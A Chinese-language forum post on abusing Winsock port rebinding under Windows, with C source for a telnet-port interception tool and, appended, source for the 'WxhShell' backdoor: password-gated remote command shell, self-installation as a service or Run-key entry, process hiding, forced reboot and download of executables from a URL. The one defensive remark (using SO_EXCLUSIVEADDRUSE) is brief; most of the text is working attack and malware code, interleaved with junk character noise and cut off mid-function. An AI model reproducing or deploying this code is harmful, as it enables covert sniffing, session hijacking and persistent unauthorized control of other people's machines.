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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &rl]$Mtt  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }S~ysQwT  
9#Aipu\  
  saddr.sin_family = AF_INET; 37:b D  
.LXh]I *  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %{N$1ht^  
nLFx/5sL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A@@)lD.  
jV,(P$ 5;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V e$5w}a4  
"oE^R?m  
  这意味着什么?意味着可以进行如下的攻击: 2fj0 I  
/%ODJ1M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 , 6EZb[;g^  
/ K_e;(Y_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lRF_ k  
48 c D3w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H y.3ccZ0  
%468s7Q[Mi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #lBpln9  
J'G`=m"-'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .R$+#_  
s0XRL1kWr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C0t+Q  
,E*a$cCw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]v^`+s}3  
ecY ^C3+S  
  #include zJG x5JC  
  #include .WL\:{G8;  
  #include  =BqaGXr  
  #include    0_,3/EWa  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X YNUss  
  int main() |g?/~%7  
  { #FQm/Q<0  
  WORD wVersionRequested; )5GdvqA  
  DWORD ret; hSx+ {4PZ  
  WSADATA wsaData; $+lz<~R  
  BOOL val; 68'-1}  
  SOCKADDR_IN saddr; lry& )G=5  
  SOCKADDR_IN scaddr; D_yY0rRM  
  int err; }l]3m=)  
  SOCKET s; pU:C =hq4  
  SOCKET sc; A/$KA'jX  
  int caddsize; A1k&` |k   
  HANDLE mt; :{wsd$Qlj  
  DWORD tid;   0XQ".:+h  
  wVersionRequested = MAKEWORD( 2, 2 ); I9*BENkR  
  err = WSAStartup( wVersionRequested, &wsaData ); zgq_0w~X  
  if ( err != 0 ) { MUCJ/GF*  
  printf("error!WSAStartup failed!\n"); o/  x5  
  return -1; wQdW lon  
  } ~x0-iBF  
  saddr.sin_family = AF_INET; U>L=.\\|  
   Zeme`/aBb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 siss_1J  
I7q?V1f u4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZHiICh|et%  
  saddr.sin_port = htons(23); uhw5O9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Eis%)oE  
  { `jUS{ 3^  
  printf("error!socket failed!\n"); B(en5|  
  return -1; \[IdR^<YM  
  } +%Bf y4F6  
  val = TRUE; H%01&u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SVg@xu+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _ntW}})K  
  { I(?|Ox9"?  
  printf("error!setsockopt failed!\n"); !0. 5  
  return -1; pzt Zb  
  } * 0&i'0>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #>=/15:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j quSR=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w}bEufU+2  
^+- L;XkeY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $^NWzc  
  { WfTdD.Xx  
  ret=GetLastError(); 2=Y_Qrhi  
  printf("error!bind failed!\n"); 1(:=j Ofk  
  return -1; ?2<6#>(7a  
  } Ltic_cjYd?  
  listen(s,2); Ghgv RR$  
  while(1) St7D.|  
  { 1)/T.q<D"  
  caddsize = sizeof(scaddr); c>U{,z  
  //接受连接请求 G7_"^r%c9;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); eX l%Qs#Y  
  if(sc!=INVALID_SOCKET) z W" 3K  
  { MR)KLM0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '#4mDz~  
  if(mt==NULL) QzFv;  
  { E9Xk8w'+  
  printf("Thread Creat Failed!\n"); /_k hFw  
  break; qh(-shZ4Du  
  } UwL"%0u  
  } %B {D  
  CloseHandle(mt); ]!tYrSM!  
  } 2;?wN`}5g=  
  closesocket(s); 3ciVjH>i  
  WSACleanup(); "mP*}VF  
  return 0; p=`x  
  }   X,!OWz:[  
  DWORD WINAPI ClientThread(LPVOID lpParam) se n{f^U  
  { $MJDB  
  SOCKET ss = (SOCKET)lpParam; [^(R1K  
  SOCKET sc; oVEr{K)  
  unsigned char buf[4096]; ,5<`+w#a  
  SOCKADDR_IN saddr; SG|i/K|7  
  long num; yz2oS|0'  
  DWORD val; U70@}5!  
  DWORD ret; R8r[;u\iV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H`6Jq?\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l LD)i J1  
  saddr.sin_family = AF_INET; ,Y\4xg*`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^cmP  
  saddr.sin_port = htons(23); h$ETH1Ue  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X_sG6Q@  
  { ,~N+?k_  
  printf("error!socket failed!\n"); %*Z2Gef?H  
  return -1; oIL+@}u7  
  } qiKtR  
  val = 100; fkv{\zN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N>6yacTB  
  { Q RmQ>  
  ret = GetLastError(); g*AD$":  
  return -1; SE}RP3dF!  
  } sO4}kxZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .vOpU4  
  { |b'<XQ&l5  
  ret = GetLastError(); k89gJ5B$  
  return -1; N13;hB<  
  } C"` 'Re5)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NK#"qK""k  
  { K<7T}XzU$  
  printf("error!socket connect failed!\n"); 8.Own=G?  
  closesocket(sc); zRJKIm  
  closesocket(ss); O->(9k<  
  return -1; 'ZZ WH  
  } $:gSc &mx  
  while(1) C(|T/rQ-  
  { ~ %YTJS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 komxot[[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6$vh qg}f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s8_NN  
  num = recv(ss,buf,4096,0); gl7vM  
  if(num>0) "1`i]Y\'  
  send(sc,buf,num,0); Y %D*O  
  else if(num==0) WWs[]zr  
  break; g@6X|W5,J  
  num = recv(sc,buf,4096,0); DdS3<3]A  
  if(num>0) !e\R;bYM  
  send(ss,buf,num,0); 2hA66ar{$  
  else if(num==0) +i_f.Ipp  
  break; CT:eV7<>s  
  } KjfKo;T  
  closesocket(ss); H"RF[bX(  
  closesocket(sc); l0_E9qh-i  
  return 0 ; [U7,\o4w  
  } ?eVuz x  
k -DB~-L  
`# M.t);^  
========================================================== *DI:MBJY  
4k2c mM$  
下边附上一个代码,,WXhSHELL yb.|7U?/x  
<QW1fE  
========================================================== :8|3V~%m  
[#rdfN'?U  
#include "stdafx.h" K84cE  
H6CGc0NS+  
#include <stdio.h> AFB 7s z  
#include <string.h> ?Nze P?g  
#include <windows.h> i~s9Ot  
#include <winsock2.h> Hkz~9p  
#include <winsvc.h> +xdFkc  
#include <urlmon.h> ,, #rv-*  
`::'UfHc  
#pragma comment (lib, "Ws2_32.lib") 2#A9D.- h  
#pragma comment (lib, "urlmon.lib") 2c`=S5  
?gMrcc/{  
#define MAX_USER   100 // 最大客户端连接数 "KE38`NL  
#define BUF_SOCK   200 // sock buffer TN@JPoH  
#define KEY_BUFF   255 // 输入 buffer +-YuBVHL  
5b4V/d* '  
#define REBOOT     0   // 重启 . .je<   
#define SHUTDOWN   1   // 关机 H{Y=&#%d  
I)%jPH:ua  
#define DEF_PORT   5000 // 监听端口 (5DGs_>  
x7kg_`\U  
#define REG_LEN     16   // 注册表键长度 Jq<`j<'9  
#define SVC_LEN     80   // NT服务名长度 u.4vp]eU  
`k%#0E*H  
// 从dll定义API kt0{-\ p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L.%~?T[F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~+iJpW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PEn^.v@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R^kv!x;h  
{)gd|JV*  
// wxhshell配置信息 l3#dfW{  
struct WSCFG { M9jo<+  
  int ws_port;         // 监听端口 -/2$P  
  char ws_passstr[REG_LEN]; // 口令 Qg$Nj=Cw  
  int ws_autoins;       // 安装标记, 1=yes 0=no )MW}!U9G  
  char ws_regname[REG_LEN]; // 注册表键名 }' 0Xz9/ l  
  char ws_svcname[REG_LEN]; // 服务名 }vA nP]!A5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #|1QA3KzO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =y]b|"s~2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^PR,TR.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @ZPTf>J}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H;Qn?^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q]%bd[zkz  
8+cpNX  
}; "LIii1]k  
0THAI  
// default Wxhshell configuration ~#km0<r?  
struct WSCFG wscfg={DEF_PORT, :.<TWBoV  
    "xuhuanlingzhe", *vE C,)  
    1, TY[d%rMm  
    "Wxhshell", 0HuRFl  
    "Wxhshell", n:."ZBtY*  
            "WxhShell Service", $ 14DTjj  
    "Wrsky Windows CmdShell Service", Y"rV[oe   
    "Please Input Your Password: ", !;!~5"0~"  
  1, +5|nCp6||j  
  "http://www.wrsky.com/wxhshell.exe", =i>F^7)U1  
  "Wxhshell.exe" ko>O ~@r  
    }; mKn357:  
F1*rUsRKN  
// 消息定义模块 Z?aR9OTP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \.|A,G=  
char *msg_ws_prompt="\n\r? for help\n\r#>";  CF92AY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^&/&I9z  
char *msg_ws_ext="\n\rExit."; .eXA.9 |jm  
char *msg_ws_end="\n\rQuit."; 'J0s%m|j  
char *msg_ws_boot="\n\rReboot..."; Ngc+<  
char *msg_ws_poff="\n\rShutdown..."; "{"2h>o#D}  
char *msg_ws_down="\n\rSave to "; ZboJszNb;  
i*w-Q=  
char *msg_ws_err="\n\rErr!"; 5T3>fw2G  
char *msg_ws_ok="\n\rOK!"; Hf!4(\yN  
fqsp1m$  
char ExeFile[MAX_PATH]; J15T!_AW<  
int nUser = 0; PR6uw  
HANDLE handles[MAX_USER]; R:^?6f<Z}  
int OsIsNt; +p<R'/  
=>%%]0  
SERVICE_STATUS       serviceStatus; 5(`GF|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -gGK(PIf  
!TZ/PqcE  
// 函数声明  CyDf[C)=  
int Install(void); lfeWtzOf  
int Uninstall(void); 4EbiCSo  
int DownloadFile(char *sURL, SOCKET wsh); o"M^ sKz47  
int Boot(int flag); nKkTnTSa  
void HideProc(void); ZM, ^R?e  
int GetOsVer(void); iB`]Z@ZC  
int Wxhshell(SOCKET wsl); A0u:Fm{E  
void TalkWithClient(void *cs);  8\ ;G+  
int CmdShell(SOCKET sock); -\C6j  
int StartFromService(void); Qnx92   
int StartWxhshell(LPSTR lpCmdLine); :FpBz~!a  
6WcbJ_"mq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qs X59d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;-^9j)31+F  
>F_Ne)}qTQ  
// 数据结构和表定义 6mpUk.M"  
SERVICE_TABLE_ENTRY DispatchTable[] = $%8n,FJ[  
{ yOzKux8kB  
{wscfg.ws_svcname, NTServiceMain}, yP]W\W'  
{NULL, NULL} R3`W#`  
}; x#mk[SV  
iPpJ`i#@+  
// 自我安装 _cN)q  
int Install(void) (kOv  
{ Vn;] ''_  
  char svExeFile[MAX_PATH]; l%~zj,ew  
  HKEY key; _'p;V[(+M  
  strcpy(svExeFile,ExeFile); !$# 4D&T  
L%Q *\d  
// 如果是win9x系统,修改注册表设为自启动 08jQq#  
if(!OsIsNt) { 1A.\Ao  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l #z`4<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =@XR$Uud6  
  RegCloseKey(key); $m oa8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^BTNx2VHf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1M+!cX  
  RegCloseKey(key); (1]@ fCd +  
  return 0; @Qozud\?  
    } C,u.!g;lm  
  } C YKGf1;If  
} #eyx  
else { ITUl -L4xE  
7gaC)j&  
// 如果是NT以上系统,安装为系统服务 M'7x:Uw;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )!72^rl  
if (schSCManager!=0) dsuW4 ^ l  
{ jzMGRN/67  
  SC_HANDLE schService = CreateService p:%E>K1<  
  ( ?=rh=#  
  schSCManager, Av]N.HB$  
  wscfg.ws_svcname, 2GS2,  
  wscfg.ws_svcdisp, 0M-AIQ5  
  SERVICE_ALL_ACCESS, )\G#[Pc7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t]%R4ymV  
  SERVICE_AUTO_START, HX*U2<^  
  SERVICE_ERROR_NORMAL, 3$;v# P$%N  
  svExeFile, o!S_j^p[C  
  NULL, _nq n|  
  NULL, %*=FLtBjo  
  NULL, G[,VPC=  
  NULL, epm|pA*  
  NULL b6BIDuRb  
  ); YO+d+5  
  if (schService!=0) q[K)bg{HB  
  { 6d8  
  CloseServiceHandle(schService); SUhP e+  
  CloseServiceHandle(schSCManager); ,Z"sh*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /VkJ+%}+j  
  strcat(svExeFile,wscfg.ws_svcname); A79SAheX#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6V/mR~F1r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6 dMpd4"\  
  RegCloseKey(key); ep|u_|sB/r  
  return 0; R8*4E0\br  
    } XW:(FzF  
  } 5w3'yA<vE  
  CloseServiceHandle(schSCManager); W>Kn *Dy8~  
} (qdk &  
} VZR6oia  
"H@AT$Ny(  
return 1; 4R6 .GO  
} 2c]O Mtk  
j)Gr@F>  
// 自我卸载 N@S;{uK  
int Uninstall(void) )\^OI:E  
{ 7lu;lAAP  
  HKEY key; gO36tc:ce  
7\lc aC@  
if(!OsIsNt) { u e~1144  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zV#k #/$  
  RegDeleteValue(key,wscfg.ws_regname);  >TgO|mq  
  RegCloseKey(key); P) #rvTDRw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p*A//^wQ  
  RegDeleteValue(key,wscfg.ws_regname); F{H y@7  
  RegCloseKey(key); d[de5Xra  
  return 0; ><HXd+- sd  
  } _qfdk@@g  
} =6:Iv"<  
} bfgLU.1I  
else { LBR_Q0EP  
5E}i<}sq5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5/<Y,eZ/  
if (schSCManager!=0) ;H.r6  
{ `SWK(='  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^+&}:9Ml  
  if (schService!=0) S7R^%Wck/6  
  { WObfHAp.  
  if(DeleteService(schService)!=0) { K\PS$  
  CloseServiceHandle(schService); x($1pAE  
  CloseServiceHandle(schSCManager); gV0ZZ"M  
  return 0; Ff30%  
  } '_8Vay~  
  CloseServiceHandle(schService); N !:&$z-  
  } = 8n*%NC  
  CloseServiceHandle(schSCManager); ]up:pddIh  
} }Na*jr0y9{  
} h 9/68Gc?6  
yL1\V7GI{[  
return 1; O;r8l+  
} #0tM88Wi  
MwZ`NH|n3"  
// 从指定url下载文件 0@KBQv"v  
int DownloadFile(char *sURL, SOCKET wsh) aqlYB7  
{ mz''-1YY$  
  HRESULT hr; [z?XVl<  
char seps[]= "/"; 2C>PxA6l  
char *token; }v{F9dv  
char *file; Cv3H%g+as  
char myURL[MAX_PATH]; SU^/qF%8  
char myFILE[MAX_PATH]; 4Y'qo M;  
@: NrC76  
strcpy(myURL,sURL); aOOY_S E  
  token=strtok(myURL,seps); aG!!z>  
  while(token!=NULL) ^?,/_3  
  { k5 8lmuU  
    file=token; MLJ8m  
  token=strtok(NULL,seps); KW)yTE<  
  } /<5/gV 1Q  
~lMsD~$sO  
GetCurrentDirectory(MAX_PATH,myFILE); rYT3oqpfT  
strcat(myFILE, "\\"); ]yyfE7{q  
strcat(myFILE, file); v^pE= f*/  
  send(wsh,myFILE,strlen(myFILE),0); h^4oy^9  
send(wsh,"...",3,0); ,Tpds^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $W)FpN;CW/  
  if(hr==S_OK) ?mMd6U&J  
return 0; l\bBc, %jt  
else 8d]= +n !  
return 1; SU:Cm: $  
.w`8_v&Y  
} J{91 t |  
kZ2+=/DYN  
// 系统电源模块 = hpX2/]  
int Boot(int flag) +`ZcYLg)#  
{ xH0Bk<`V:  
  HANDLE hToken; M@.1P<:h  
  TOKEN_PRIVILEGES tkp; E: %%Dm  
A%Ao yy4E  
  if(OsIsNt) { NLj0\Pz|B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z#0z#M`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =,sMOJ c>  
    tkp.PrivilegeCount = 1; {It4=I)M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6oC(09  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C>LkU|[  
if(flag==REBOOT) { #3.\}d)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ms~ mg:  
  return 0; \K?3LtJ  
} %'P58  
else { UOq$88sr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *Owq_)_ (|  
  return 0; UO</4WJ  
} 3)=$BSC%  
  } D[<8(~VP  
  else { !j- 7,  
if(flag==REBOOT) { Fw=-gb_.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xi-^_I  
  return 0; <K)^MLgN  
} fO9e ;  
else { )y8$-"D(it  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s+4G`mq>*  
  return 0; 6$IAm#  
} q4VOK 'N  
} LJT+tb?K  
>%xJ e'  
return 1; QkA79%;j  
} @o8\`G  
.L8S_Mz  
// win9x进程隐藏模块 _m@QeO'yh  
void HideProc(void) K'y;j~`-  
{ jn]{|QZ  
)@Ly{cw   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?g!py[CrE  
  if ( hKernel != NULL ) norWNm(n  
  { W"$'$ h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G|.>p<q   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <pz;G}  
    FreeLibrary(hKernel); #Ez>]`]TB  
  } ms<?BgCSz  
, !c.  
return; 8K{ TRPy  
} 1Ocyrn  
D\>CEBt  
// 获取操作系统版本 S&9{kt|BI  
int GetOsVer(void) .aF+>#V=Q  
{ s fazrz`h  
  OSVERSIONINFO winfo; #;H+Kb5O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .0nL; o  
  GetVersionEx(&winfo); R}BHRmSQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'AHI;Z~Gk  
  return 1; TR]~r2z  
  else 7` &K=( .  
  return 0; m"NZ;*d'  
} |nB2X;K5~  
\DpXs[1  
// 客户端句柄模块 :v=Yo  
int Wxhshell(SOCKET wsl) <kt,aMw[*  
{ (eSa{C\  
  SOCKET wsh; Rj1Z  
  struct sockaddr_in client; F.K7w  
  DWORD myID; F+|zCEc  
CpO!xj +  
  while(nUser<MAX_USER) uEH&]M>d_  
{ ,qyH B2v  
  int nSize=sizeof(client); dtr8u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MWu67">"  
  if(wsh==INVALID_SOCKET) return 1; 4$@)yZ  
UV$v:>K#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jCxw|tmgq  
if(handles[nUser]==0) h`,dg%J*B  
  closesocket(wsh); d0eMDIm3R\  
else | x/,  
  nUser++; $Ic: c  
  } l}># p'$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y;4nIWe JL  
>#<o7]  
  return 0; fHdPav f,S  
} )EcE{!H6+  
Ag^Cb'3X  
// 关闭 socket _m#M^<0n  
void CloseIt(SOCKET wsh) Yu`b[]W  
{ t L}i%7  
closesocket(wsh); Y&'Bl$`  
nUser--; G ,An8GR%&  
ExitThread(0);  k/ls!e?  
} W/OZ}ky}^  
:VX?j 3qW  
// 客户端请求句柄 QD-#sU]  
void TalkWithClient(void *cs) ({87311%  
{ weYP^>gH'  
aHvTbpJ  
  SOCKET wsh=(SOCKET)cs; d#T~xGqz  
  char pwd[SVC_LEN]; KpA iKe  
  char cmd[KEY_BUFF]; VD#`1g<  
char chr[1]; f =B)jYI  
int i,j; s8Xort&   
)=8MO-{  
  while (nUser < MAX_USER) { IxHusB  
xQT`sK+  
if(wscfg.ws_passstr) { *2Il{KO A^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1$]4g/":o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ol"*(ea-TX  
  //ZeroMemory(pwd,KEY_BUFF); 615, P/  
      i=0; bzz=8n  
  while(i<SVC_LEN) { <H::{  
!7]4sXL{  
  // 设置超时 80U07tJ  
  fd_set FdRead; LzEs_B=9  
  struct timeval TimeOut; P33x/#VVE  
  FD_ZERO(&FdRead); u(S~V+<@Z  
  FD_SET(wsh,&FdRead); v `9IS+Z  
  TimeOut.tv_sec=8; 2&S*> (  
  TimeOut.tv_usec=0; n(\5Z&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?kMG!stgp}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iqW T<WY  
l:5x*QSX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *"2TT})   
  pwd=chr[0]; O'a Srjl  
  if(chr[0]==0xd || chr[0]==0xa) { .gh3"  
  pwd=0; L}7c{6!F7  
  break; N&n2\Y  
  } /~Zxx}<;  
  i++; hosw :%  
    } c;C:$B7  
)/A IfH  
  // 如果是非法用户,关闭 socket ) ,1MR=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7+QD=j-  
} }D-h=,];  
pHSq,XP-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ()i8 Qepo}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;"l>HL:^  
,{!~rSq-l  
while(1) { Z<T%:F  
Ju4={^#  
  ZeroMemory(cmd,KEY_BUFF); Lwm2:_\_b  
cPZD#";f  
      // 自动支持客户端 telnet标准   Rrm k\7/  
  j=0; $)t ]av  
  while(j<KEY_BUFF) { P]hS0,sE<(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h)2W}p{a4=  
  cmd[j]=chr[0]; Q{F*%X  
  if(chr[0]==0xa || chr[0]==0xd) { KAH9?zI)M  
  cmd[j]=0; 2A'!kd$2  
  break; U`Bw2Vdk]S  
  } Uv?s<  
  j++; Q$ r1beA  
    } ('BFy>@  
OLp;eb1g  
  // 下载文件 J-yj&2  
  if(strstr(cmd,"http://")) { {U/a h2*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;dgxeP;mp  
  if(DownloadFile(cmd,wsh)) # Un>g4>Rh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :I*G tq   
  else 3}V`]B#a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X;25G  
  } 4 qMO@E_  
  else { #/!fLU@  
0EiURVX  
    switch(cmd[0]) { frV *+  
  ^|-*amh  
  // 帮助 X=$WsfN.h  
  case '?': { UZ#Yd|'PD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0*0]R C5?  
    break; c@H:?s!0R  
  } G Xx7/X  
  // 安装 )* 5R/oy,  
  case 'i': { g#b[-)Qx  
    if(Install()) r:Uqtqxh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /;>U0~K  
    else ti$d.Kc(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p!5= 1$  
    break; {nTQc2T?;  
    } Uv|z c  
  // 卸载 -ZwQL="t  
  case 'r': { k/[*Wz$W  
    if(Uninstall()) "#Ov!t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]gI>ay"\QA  
    else T*YbmI]4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c 4Q{  
    break; <5rs~  
    } #m yiZL %  
  // 显示 wxhshell 所在路径 U^+xCX<  
  case 'p': { wc@X:${  
    char svExeFile[MAX_PATH]; .PjJ g^^  
    strcpy(svExeFile,"\n\r"); |KEq-  
      strcat(svExeFile,ExeFile);  =d07c  
        send(wsh,svExeFile,strlen(svExeFile),0); "A\.`*6  
    break; Q(Q .(  
    } K6"#&0  
  // 重启 ::bK{yZm   
  case 'b': { fNjxdG{a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 44;ZX$HL  
    if(Boot(REBOOT)) yO}RkRA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X]up5tk~  
    else { ukM11LD5x  
    closesocket(wsh); ;:(kVdb  
    ExitThread(0); 5m2`$y-nb  
    } fT)u`voE,  
    break; ia=eFWt.  
    } i$MYR @  
  // 关机 Th1/Bxb:  
  case 'd': { 15PFnk6E|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JBX#U@k>I  
